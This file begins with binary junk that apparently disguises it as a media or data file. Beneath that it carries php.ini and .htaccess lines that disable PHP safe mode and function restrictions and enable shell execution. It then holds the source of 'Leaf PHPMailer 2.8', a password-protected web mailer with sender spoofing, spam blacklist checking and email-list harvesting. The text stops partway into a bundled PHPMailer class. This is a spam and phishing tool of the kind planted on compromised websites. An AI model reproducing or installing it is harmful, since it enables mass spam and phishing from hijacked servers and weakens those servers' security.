.˪YfGhqҤc6]~p%fW2[CjP8Pַ
T^ДFg(gtzvbqslmcahu=L}+kwsjigqxuf(bo0OKJ~A&5xGK/K.ܛ4|$dW=Tl,x3@^s%ܴ-ykwsjigqxuf_%T*o0ђ	I3yų(Zk+5hF[~U+HT	7 Ψu,]tzlg٬I7iպ0@֌^r^%DE3
?!TڻqsQ?ہ,K.ҙBgtzvbqslmc@p?!HH2b++ڒ/Bx:*Bo	llVuGwIkwsjigqxuf@HZiw6T~FEF_=3X |&{6z }_=پ,;To2[5$vqG!D?=Ug1u-54Tgtzvbqslmcdhkj JfWر::iH)$ՌFkwsjigqxufjpN(Z,{Aב[*G4`V7Qlٰ~88..xi~ޕi17 r#U_`X)գ"#Ot&:1:#LߚRܯ-\ ͟b[hbY#r}SW(Pe ~Fȝ8̱8"Me5q#e0=OkLTF߅:oӿM[0(| ;ZG\VvF3tlZK}t_j{K(bM
?ЄyR/$'! Ąv$	5
p@gtzvbqslmc#/rjjQ+1cT _rYim-RU
P%h?xު
o^mtw/|1$FkwsjigqxufwMq"F:t=n0IC\&"3y%(q{"V}&(_ulXY;=\ٺ?O|lkwsjigqxufv̈́S(lX.}2INEe)9НyWْkM"AgtzvbqslmcErt8gUIBgtzvbqslmcoPjIki)K(U]sDII'q|Dgtzvbqslmc7X;$ቄ wsxfcyX
 H-8Qn@˸q&יPȎ]wO$9H@ZY~
R;رWn(}rU΅
K { `D]e0i]t	~f(Ʒg\qfu1xaGCκ/[7=\ԇ1guqs,1H
/Pn{A|X=aH?RaUd2=فk\-Ke7y4W~KBh	nKrVI_Ih0z`9gWۍHj3=t%Mcݗ`ZQgtzvbqslmcsy	sPj0aNKf*}Ep ,)Āv`Y@1K&]_?+rK|.VY+{m3t"`zɕe
,=D:W64nZ)@8ހFQc˽ɋrpkwsjigqxufs[i)S[kwsjigqxufA K)" lV7Y(ј+ZOQ;kwsjigqxufj0MѶ.Zbvkwsjigqxuf fOՄwu!T )mf+`A[Pt[J2/S;MnjreվpB3xU}DK*8:-2*sRMO)ˡ~m
ُƿ׷.)WY\v2ufF@`n0{f*(U9kwsjigqxufh=k!PJn=E!\\?nNHȳp#~ RNÅ/D~bC6hXN $0n8銭U35$dpz
qה.\%Umq5F2eNILw&i`0焼e7tk25 #SmxUW2ʋe[
YzTq*U9ݿ넎0tgǆQ!)|MBHXʈgO8YIɮ&/@)ѦgtzvbqslmcODۼ,Sgtzvbqslmc1}Jݙ=20wXYJ'+܍P7߽&P̪B7~3&kwsjigqxufc*bVh"	?h
_'H$l^P]/b-ɥn{kwsjigqxuf&\MeNtwnx!X?w/ph3X"V}.VFtIBX⍷$nMi` !:*Rk4}%&U4Jwtkwsjigqxufmܿ3k$ۨEƙl/˫MG8#G,^I{0*kk]KgtzvbqslmcuBgtzvbqslmc.{kR'~P4~kwsjigqxuf1TeBYB*Y:S9^xyz9͛:9kH'VGOоn`1,!Kgtzvbqslmc;}H#(6ZVP6cab6GhJ9ŀ|nj= ǰ؆
/nꈠ#HmK[.ŮFU:
fH
n+kwsjigqxufv'|(m'D0tpF-=ogtzvbqslmchnwŖ..ATZdp)ThkmLt[vf.3UbV1 7=\p1crgtzvbqslmcyB%E&A!6mˣu@_0´k`E,DF0lhz̚
kwsjigqxufK]	ɘ^qYs֯G&`Oa1YS Yͅj~YjoaKGkwsjigqxuf#*"cj(O7XDuf4ٹ
.l0~AH|끫/V?H=#.ǆJE|֕
=}v+HY7.Q5kwsjigqxuf6lܖ$\RʟY(7.wٽiv/S^@W-:qd{&4o|$˾$8^RX
Q# 2ǩzĉ =sxN4gtzvbqslmcf`kwsjigqxufh.8Dlgtzvbqslmcș	T7bU3$0aܱUw}}f+ma	E	vYQ	wb75zɄ	vQd3OI%~[xfc6#u(uW"
l).(jF74Mi)mTgtzvbqslmcrU8#}r ;~bNdmyh?0T3"{ikwsjigqxufuKmm{m􃚉"2X:EDdI8VCOD~up~DOs9GZå,׷Oʹ`7S ދk&wT#1ؽLx9p\f= ׍8L
lEeZd_5L(_*~y GeڊN+o]U.BT.-٫+szٰIRLb~gtzvbqslmcGJ0k\%	O6/'(jLɑf+ݯZX9S/i6K C#zlPևY
;V=089l{	÷!wi3ZyAw1G`VW!H»-)))uP+G[NWPf`kwsjigqxuf;ܿXvFQgtzvbqslmc1rEOcn9dey_}sܝT~'qz\OaÁ4rJ}RRkwsjigqxuf,wHԶ&IkFoodوZ{4pG)	9w	@K!fm`2֐.EQ3X_JPO'gtzvbqslmcgg
3.*ێS=[=Ǳ,kwsjigqxufw*_$hvjrxNlt'҂9=o ooo/u/ :7@_o@InU$Sշ,_aaf.+FVpK(_Fig1.-
-cv=O$ʏ WFkwsjigqxufw%NĠ( |vn5O4,-:WsC[HdXxCzN

0V+^ܒg?Y=V47o[iju}(.Pakwsjigqxuf XX"Yt?;s.b	*LZy~P r%
oD;5ɘQj63ÀUjBYwI0r%_kwsjigqxuf׍ =&Fu)He)?GpFPeL=,QpkF~έ~D[+0u6A	N[!|;_1z
O_XUkwsjigqxuf"~Fs`I2ڽ:@̰%MǒV қ\%#!{7﫲zM9%&l9Ba¶4r"yd@ϻúzz!&^%	䇰y[JCCp)!Cy30}܃X=8p`'aT%^5x#~Ϋ\'Bl5携]G;m$ggfSQ vm'X"各vXݹ;p7&xX)|Cg!{?Ǵٴfex{_2엂j Skwsjigqxuf
'~B`QZ#-qNCfG8Ƹ;6C&BV`qckwsjigqxuf%ke,޶/}^	Ō'ɹ:,}/N!z,5x8XClmw׫Ki!iONM_xsB7	6@#kwsjigqxufž{lQ픎D:L
%!I!DkIJkiYrQ#kwsjigqxufxQDPߟ[~#oDp\tL۟7m(+ʐ{^#C?vV^Zod.kwsjigqxufS"¸ߤψ{gtzvbqslmcT Q:(2y*CwRFE\R5
.]p̓}cLgtzvbqslmcl@-P`mH{?6yCG*)fra=3HWWθ`AƌY&ncg1ddBEeNQ
a1N| L}zSކVS{֪U[&w~+Zmm./ח  IZf/hHt]`Gu{smUMTN	cG28n[.-RfoFa]w%5V+	L}`Pm7kwsjigqxuf2$I5I46\Y&,S415W:/bj0N`oz9ҏ-s+ד^Ikwsjigqxufx	S]i}(#nr#'g`Fi9{dhgSjf$)[PV\5̝K1`d26p=kwsjigqxuf1L9_qUkwsjigqxuf3gtzvbqslmcFk@@8Ú|{+FPE#4ϿHJ*jy*]uu\ΰٕoz SH4[|T	sIJԐaT#Ѯ^O.H60mB
_
Ȗ@?_({)o=p[.|-
޳07'HB%;zV8ǉ=k hCE,1lkwsjigqxufSV*Y6l҈?4Kyv)z8gtzvbqslmc
iv߼!	-P*זA
5S_$Ņw8V`sq]h	Lv}kН\|L@p~TxU[oˠԺ-P&ͥkkwsjigqxuf1,Qj]OzinJjִhxgtzvbqslmcO1Aӟ#;`&zoоkwsjigqxufVPV_&~ߡ"5-w~EC1cʙV©ōrsgtzvbqslmcJaqrJt4t:iXf'3#Ұ] u/[P9(ea]
CP4m :h_0?E&uI,?
0eksA\M#N` %d)+MT;o$	Nr-V~giC8m%Xt@0rĳjSGǂ~Sj|JnNxz}K˹ B_bږꌛR &ţYkwsjigqxuf?|
d`$$pk_뎛$L=9\JHƧMn:N)bHLWfA*#EȦ3
/Xc|']{(fWԓb=9rણ"AGa
Aڞ-D`Qgb'0_j؂1𡫾W&ݟC@,3wns'Lu]VD*='vXC$!rw3@Q(gtzvbqslmcU#TFFoh/kwsjigqxuf=S˖p.EkwsjigqxufŗW`ц5R~
i0Z's'w!W/Pi~ojfKAƼ(9`qe[Vf:ovbR
!G*j)sA,%	{#J9E./WuI~HT V[gtzvbqslmc_xcǚ|06͋yšy~7jBU#,pkwsjigqxuf/|
,i3K麖:ȤpC
tЮNm=Pڑ*%G8^,uc)(1n!c8x;k0aFCW!#ca
2.#NYI\IM'SI.GAf}9?.\U_P&	)gtzvbqslmcj
["\0zфw+Pw9bgtzvbqslmctgtzvbqslmcWëh)?B31}@"xKŜ	l-2kwsjigqxuft
w^$[& WSnw$ͳzP@UL.ekwsjigqxufq ~YzM^a^0rPi~B2,yNǫH0~ZzZ(kwsjigqxufgؙco~i)nI-'˜?tr!/J-ҷBܽ&^v^ʅA	ߺD=B;ҊLkwsjigqxuf#Ag+me	(uk{M/ RdԘ9=AS/MFgpoEG!&,Ea˕/OWײF/+8[S}n[IscYocL|ANH#&z+5vv2!??5%*,Txs.f1thqAq$kwsjigqxufchjW7_UYwg %̞{I;SņzۻT'[gtzvbqslmckwsjigqxuf] $qAtj_$uu3j\klmF|0)
!uICYd}^G35^82lP"=Niq`'@Sgtzvbqslmcӈ_&ʪ
yL߳NW ?pp76\
/V`IqSwDygtzvbqslmcgܿGGG_dD$LCwm06cj73{U:}	9*ϴkwsjigqxufL7q1pbW NB_IٓFsj)uDT'A7
gtzvbqslmcM[mN
^]+|uZ$ܹʗ^XoI dE"ab_H1jM Z8/ȶʁJB4xfW 8+ Ss$]oBD8t Qy[Y%qK^hSY6=F _
({Ky
;*wZ7Lf%6|6)da8K#BKTT8`[9OCC[Ƶx,5fc-E#` [!tD)[Q)[7RNCX@iNJ?+'{[0.T+GgtzvbqslmcVp0r]x`a
3_qQ}nfe:%gHz;"fœU0;NbUpr{CxFH8ۃ
yqދO3Ľ:[XB;2ҒCwi&j\AzGRݗ_kwsjigqxufRQ_@@2v;!+-CV@#Ŋ6M
" ǘb
Pd5ov42ip:Wa`7~(`YAs7?4v?2X;۠?kwsjigqxufBoUvՊ63'&9pb\9bM)0jkwsjigqxufS49f GWƨ`W-7CԓRڇZ_jgDnK@DiIܰ0_d5w~1͋Ơ(mǢ|53F$3VHUM2AB	kwsjigqxufwbIroA؞Kui:qS
ӉTkwsjigqxuf%o'@~eIrRLwa۹uv~VySTlB;*dI'ux㛟_RN0Ƿ똇pkwsjigqxuf)3y6:/c	p"؄ʯ~dڜAO`
gtzvbqslmc.FW.aU3͐%7ř`txxه75M!ݸ6U
:7:dVѠQ2Dkwsjigqxuf.C)RjH

͔tY^ukwsjigqxufrc`․&H#?ฟd+E1Ә^X5}mnd"LMhnX]iZgtzvbqslmcXg58'kwsjigqxufb߭(:pVZ`B07a![H6;Moj!Brt"ۃtlѾILkN^Q4Am=l6kwsjigqxuf*|ykwsjigqxufo8cٞ_!p`TZ{b75|v?V$8pB|Yh ˔Qg(nvJbS\&X䀔 @C[HɧwDZ).PVND%Z8$x
|qp1{;וxNӲ.WFu&LG+CqPR
Âct֩.024V6U5S"(c*SqPrdT{I;BGubu͞6x;C2O#(g2,߯v̹LqYj;}GRĀ֌A0
hVyqXXaaJ\e
'wOU1q3г7R
!;S1g"E Q?*u3QהFJ*oi_)e=KmzC9--j(~+m&]\ 5?XSZl*6\vؙZOʜVR1:':\Ve}Q+B,QN\*z]4* ˫$WiVl-a{/㫗+%4ooA#UE=8b:'3^MNNVgtzvbqslmc[gtzvbqslmc/zXW-؄RuK()Z\5^eks+3tcgtzvbqslmcSd&c5+ϓ+}ëS?/I;y̬ !p!Q LXڦcLQf&agхȸ+@w2Ԇ'nU~-&Ԭas0Tk{';7XgtzvbqslmcUG 6uQ|tq,|CT/urkAѱ!$HE%o1Ci( .yM-\3P͠&} D* Zq}\~)1YMgtzvbqslmc٬v6cp@+)e=tvIN6u@l
oy,:~\΁*ȎSac%3%&`5Mg=}G9Nv;5Nk񷁉!qxNR3O;Lơ]-Ǡ"BT]F̳bEc=?6Xf78͌p|X`r$' Y8kMkwsjigqxufBH/MҴ;ø=B߷[Hn.Q,sr{ut@\&9T鯑?XL83=!nPV2@TOP/⦨;vR҃5azԞq~z?[Ogtzvbqslmc]&=JϵubE*AfM_4_!qv ( yvJw_
M7AF17n"Z7kwsjigqxuf#(EG,tWĸR??ċ T.WY֝$1~ì3+p93㿵âa`v#mH0E%N련.;_(Pa-tgUtlz9cp8~s@{ˎE2M6lr sާ$,;	f@0LMLj[x,a3xN{KԴfGX3'#y?,Gȃf͎&U$1ɓDW\8@m|kwsjigqxuf;)ߜR|'4ȸҰBT έLf,Lޥ.fw
401OgUVN	L?S*|?obn)EQ2wHvpf1-ZjGIPRM//饟*0VZ냟-UMN|:l/gtzvbqslmcRT{u.|KX](kwsjigqxuf1ᷬT6
°nsk-qe?;g%gtzvbqslmcVK,q,pɻ^!@W,xn8	3%cG:vw.įXƺ%7a"%FjQsqVؕRܕڇBa-dxhPx¥,
,,VUdǌn]ҁT*:]F#jsfG&c[K*=Gj6յQZ'%mf&gtzvbqslmcѩnohweukwsjigqxufv}+!9w󒅌gtzvbqslmc{S
WYdB_#okwsjigqxuf&o	aYkwsjigqxufPӄ3e V.Q8+"Afqzai?(ْ:p5%m38u}vZwDm鶲kwsjigqxufQ*]v ݮ8&XX~'ҭGys?l
Roi-_
e߶ux}ߘ :""
\4A	T˦Xyg-]
i߿_[%Jz{F} ݦ_*y}W0H7kwsjigqxufW1༠R.lU*.
WTY2ǵMmzn	2~TD3l5FA%_zr-Zzh,É"ړXf74wEgtzvbqslmcenI/SJb+wّ^H^gtzvbqslmcxԓxfiW})}@)v_vLˏuݯaЏmgtzvbqslmcy+"]we8 ;49zv*UEǵXH=+3a`8xY"Bk%Ko 92[a 6gtzvbqslmcX\#kwsjigqxufakdFaGP|_~+sN\G R
LTطNQ@@|Sjօ6o dWyFbv|(-j ~RXŜjil|oRR+RhH2ޥ.HzTf v ~5|{6~|H	^M.E_#U==eefTOUsvM&4yF6VuSWb5Wm(#%
1O5j3]V_0ۋPFZ#r2;U6E=c665f9gS?KFMG
R6fehjO
_&hm?Ӈ8M)L8E^TX	spo,TxaT6r)+Tq7V!p+,aa=_Hv1gڝ}|m	#ARQEmz;lC_7kwsjigqxuf})VY3ϳH;Wdkwsjigqxuf	1g ntvɌYYs!1LE1Q 6oaex^Rà.)w/DYE7|r;&X,i:F]0	/1Orv0쌘YaKR'kwsjigqxufW;8YX1hLm0ٜrVs왦6%!EmLR-eyo.6o
4j{zU9ZE
BIvgtzvbqslmcoimWc7?7f͎{WwA|\=h4
 H5qx;ZG{Ģr[a4"-#-(4%j+ɮ,~"d	Z!
4TI6x4bDhw@ldSԮeH1Asf~8$ AN:UKz}`w%#PӃ}KXC'S:N@}-VUR& $1@T~9[֌BX%Gmn#6_Y'̩
 lkwsjigqxufUu/A*L kzmhLu37S;F+\k|=eL&rqgtzvbqslmcF#AuAӨ3"Zr;š;2Ⱥ[z9x;5_.oe}ݺ0$sgtzvbqslmc0
hoD("FL\c"TH-2k(m^\bWj6Ӣ,9J#w	ar^;2AVv|p9Ŝ;l&&7uҲgI_/Feo'cd1kwsjigqxuf138F-z;巚[|:f,jTP[킼Q}[r"fΩ.k\7[1B/E@=	M}NrWrɢ-Rگ
m6Ht%&B}P$
R(`M@؍*
HeobVW4kwsjigqxuf˹ }GGGz*s3Ź{!:;)X\()ɪeCgtzvbqslmc-2^-yx9 mp(M(%?"E
=9w-pZ׌M0kETFb8/W9NeiT/&]dE]OzqR/̵5)wT\9T0rŇ3/aŭ
f"Z5+"oDP2NBHRf&$c׃N4v5қ"V~٤Aũ٣.&zԡX`o WscJ^H{kwsjigqxufw0MIѸXa!mA?Ϛ1H3)rΉc3G`b~yw/WàOri*Œ!"5;mxA?
wtCsPbKlvjyuЄ&]nL'cc0C\iƗ;:$7Blw,}sˏ%J/ oq2qp[za]K-^޼j"Y҂cS'Y10uIao+|oBWIsWjLj%񣚹  Q usЛ2L&!$}B?4[.ח-~myhgimz2Vv 7xHVүH)P'}rB~șՠF.vRڛ֊K!r_珔o`Ym:٤ƢC1'qV) 5)kzZ/	1kwsjigqxuf[M&PTݦ(g\
O^Tv8oGEr!#H7*vv.x?:3Vaa[F26t`6Iӆj풋6!tn|rq184ʺqk
JfqV%EL;on0flø'k9JHkwsjigqxufĻˬc_E؄3-v~R lB[uJ_{9QH6?Pir~o7.u{H&Lܺc	Oak޳ikwsjigqxufQE9&oƪBЄ|i&.) M4mYkwsjigqxuf*aROaMqսk(%]\1-HiIȃAT0pۯp=F"Z7OSݶJ~,4DWDmA#gtzvbqslmcZOVhU$d_m_`"^`
k+TAS`
j˜YEϗ`WC^j
\gtzvbqslmcM 8=\C;iG-3$I{?C`h,88Rl96
nEJ|PѷP&ߒѳڻO*/7'@U ߙ*kgtzvbqslmc52ZlkLngtzvbqslmc+/eZޥD0U
Q{}4;I9\4TAM!%]'')?iv	.l20ߙb hyϤH$/q3|s#}qmMMk;P7T68N&m/\/Y^}bgQ[&rvo1dGHF!$5fB3:};T2XIM3,7ϗ^i􈡓)AFyFY~gxBU~4,MsmDLLdSI-pTG992gyECiKaēkwsjigqxuf}dvв|4+/mA'8]r9ȗwY)xo~ (M8e[PEC$	cBaյ{]^P.\D8S̋5nׯNo5Ot1X^*5
	]]lG*hɣ&%gtzvbqslmcIoYkwsjigqxufʍDxP_G,G8rkǟcnW\*}tr8/[h`C]DM,vVБ+|cJcΩ
aKgtzvbqslmc{p$&M\lo%HCw@'	y;GjD]f8ǚci10FÞZicgiRIf7%K\]9v2'n̾Jgh~"BC} :`(0[ed)=TM
2| S-O\ϺdFB_2ĵL& IV2bfv+_ergg~kqVGiO@ԐX.4xtcb5[ӖgtzvbqslmcK~-ecq샌-27CU_Y/Jd(4)SΔ7dSm
VbCID5,l״gtzvbqslmce	/ȹg+#-}$˰=bkyѤLy	m4QKmmɩ
Ս8|	'1
iaa{F7DE.M琵קD$eZQIf#VuhYoؾ*#D/K6G$q:eIh#Z~%PjvR.@ڹP+j2;pYT;d@HbgKM=g4x9{ɛ+O8gtzvbqslmcNhsgTQ,ٱy|7oc%,|ѽ㦷n)YtYX#ފ"&IxJh|'o#"Iv3i.Jۘ12E򻪟ilxs g',{C䭏X5˽7r5	ԷsjT/S5:lZڞB'gtzvbqslmcv*H=J@*'lMqgoSphк)1j)JaRS0`ƌ5qjh:մ[\|lkwsjigqxuf&Kf1XV%aQy\ۈ{gtzvbqslmc=ߢ@^&ŀc.ɹZ|QƓ$ݒ|wR`pfa-㊶wqʡt7Zyx_a-nS[p`ك(ji=Rm,(8Xp(At#l\.68Џ"kwsjigqxufcdQf?/Q(aF\W s;Ykwsjigqxufn&$2ۑW"*N$/mwA
99/lNl0ٯ$"~+z(^@4ɺ~{G"CP#9?ʶR``@O߇ ~l@gtzvbqslmczqeZw?IJ|oiï;8G,y+:vI/ӄ%Aaz:?1m(KnX=oMFHv7j7ňY\B-&2qHSZhd .5,	B/Bh6m!QuVJ9bvk聰v-jt۴UF;S|+b	(йΆRA4C58nBҔj^~}ϐWConY	9	IHN@s
BcT@Dc$ӿgtzvbqslmc/,+/|ua$T@kFAdz :ݼ:,'V4; @)tHʱ!ʢrro}J(S*6C' @PUS/gtzvbqslmc2WrO+Fq9y~X)NH@/zsaX#c#Qtkwsjigqxufhi m,nL|AdN\cpG)莣;8`(`_A# X~
sDg `M4%U:u?r:/@
*C.ؑ #c@(]H tkgtzvbqslmc{+x`}ij,$B
@NWbnh,f%LPpYKIF0̔W [n76ā*Bd9AEqgtzvbqslmcOt:V대tuƶI	]պǱPpdw?-&h$%XSÊw:})
	֩
`K4_oN;gtzvbqslmcLgtzvbqslmc5P 8	ȘgtzvbqslmcKKKhQQ=^lI$HQD0Īl7SJ#ʐY?|7~dH"Lx}'ҎSyA1 KYITTwgtzvbqslmc `
ۑ@r,AK92EҩH*H
2 *{GP\Տ°LX 3} 
Ysafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "swgYtXok7ZO";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
